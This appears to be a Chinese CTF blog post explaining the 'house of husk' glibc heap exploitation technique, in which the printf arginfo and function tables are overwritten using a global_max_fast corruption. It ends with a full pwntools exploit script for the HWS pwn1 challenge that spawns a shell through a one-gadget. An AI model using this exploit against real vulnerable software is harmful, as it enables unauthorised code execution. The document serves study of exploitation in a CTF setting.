0%

house of husk

house of husk

针对printf函数的攻击,主要利用printf函数的虚表,通过篡改虚表指针执行ogg。

原理

printf函数在执行过程中会根据第一个格式化字符”%X”在虚表__printf_arginfo_table和__printf_function_table寻找函数指针进行执行,具体寻找过程就是__printf_arginfo_table[‘X’],找到这个指针,然后跳到这执行,只要把这里的指针改成ogg就可以getshell,修改这里的指针大致分为两种办法,一种是任一地址写,直接写这两个虚表对应地址的指针,第二个是通过堆伪造这两个虚表,第一个很好理解,主要讲一下第二个。

伪造虚表

__printf_arginfo_table和__printf_function_table这两个虚表地址储存在main_arena下面的地址中,而且和main_arena首地址很接近,在我这个glibc版本下只相差0xc30,这是伪造的第一步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x7ffff7dce870 <__printf_arginfo_table>:	0x000000000060bb90	0x0000000000000000
0x7ffff7dce880 <buf>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce890 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce8a0 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce8b0 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce8c0 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce8d0 <ttyname_buf>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce8e0 <getmntent_buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce8f0 <qfcvt_bufptr>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce900 <buffer>: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx &main_arena
0x7ffff7dcdc40 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7ffff7dcdc50 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc60 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc70 <main_arena+48>: 0x0000000000000000 0x0000000000000000

要想执行这两个虚表储存的函数指针,得先找见这两个虚表地址才行,然后通过虚表地址加上偏移量得到函数地址跳进去执行,这两个虚表地址储存在固定的位置,所以只要能覆盖这两个虚表地址成堆地址,然后再相应偏移量处添上ogg就可以getshell了吗不是。

现在关键的就是覆盖虚表地址,网上的普遍做法是利用House of Corrosion技术。这个技术和fastbin息息相关。

House of Corrosion

众所周知,fastbin链表的大小是0x20到0x80之间,但其实最大值并不是固定的,而是global_max_fast中的值决定的,一般是0x80,所以fastbin的最大值就是0x80

1
0x7ffff7dcf940 <global_max_fast>:	0x0000000000000080	0x0000000000000000

所以可以通过改变这个地方的值让fasbin能接受的最大值变大,一般是利用unsortbinattack,也可以直接ufa来完成。

还有一个知识点就是从main_arena+8开始存放fastbin[0x20]的头指针,glibc预留了十个指针来存放fastbin的头指针,比如free的chunk是0x50,那储存这个堆地址的地址是main_arena+8+(0x50-0x20)/0x10*8也就是在main_arena+32处存放堆地址,简而言之就是main_arena+8加上偏移量处存放堆地址,这个偏移量和size正相关,当通过修改global_max_fast的值让可free的chunk的size是任意值,那我们就可以向main_arena+8后的任意一个地址填上堆地址了。

很有意思的攻击手段,那也就是说可以向__printf_arginfo_table和__printf_function_table中填入堆地址了,到这里攻击思路就闭环。

攻击思路

先修改global_max_fast的值,然后申请两个堆,堆的大小通过下面的公式算出,各伪造一个虚表,然后再伪造printf_arginfo_table的堆上写好ogg,然后都free掉修改虚表地址,最后调用printf完成攻击

总结

1.不同版本main_arena+8到__printf_arginfo_table和__printf_function_table的偏移量不同,根据偏移量确定size的值完成堆地址覆盖。

​ chunk_size=地址差值*2+0x20

2.实施前提:

​ 1.有至少一次ufa完成global_max_fast的修改

​ 2.有prinf函数且第二个参数可控

例题 HWS pwn1

感觉这道题作为house of husk的入门题挺不错的,简直就是专门为这个利用而生,刚好有一次unsortbinatack,刚好能申请两个合法的堆,刚好有很多printf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
sh=process('./pwn')
context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
fastbinY=libc.sym['__malloc_hook']+0x10+8
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
def exp():
sh.recvuntil('Now you can get a big box, what size?\n')
print_arginfo_table=0x3ec870
printf_function_table=0x3f0738
chunk_size1=(print_arginfo_table-fastbinY)*2+0x20-2*0x10
chunk_size2=(printf_function_table-fastbinY)*2+0x20-2*0x10
sh.sendline(str(chunk_size1))
sh.recvuntil('Now you can get a bigger box, what size?\n')
sh.sendline(str(chunk_size2))
sh.recvuntil('Do you want to rename?(y/n)\n')
sh.send('y\x00')
sh.recvuntil('Now your name is:')
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
sh.recvuntil('please input your new name!\n')
global_max_fast_addr=libc_base+0x3ed940
sh.send(p64(0)+p64(global_max_fast_addr-0x10))

sh.recvuntil('box?(1:big/2:bigger)\n')
sh.sendline('1')
sh.recvuntil('Let\'s edit, ')
ogg=libc_base+0x4f432
print hex(ogg)
#gdb.attach(sh)
payload="a"*8*(ord('s')-2) + p64(ogg)*2
sh.sendline(payload)
sh.interactive()
exp()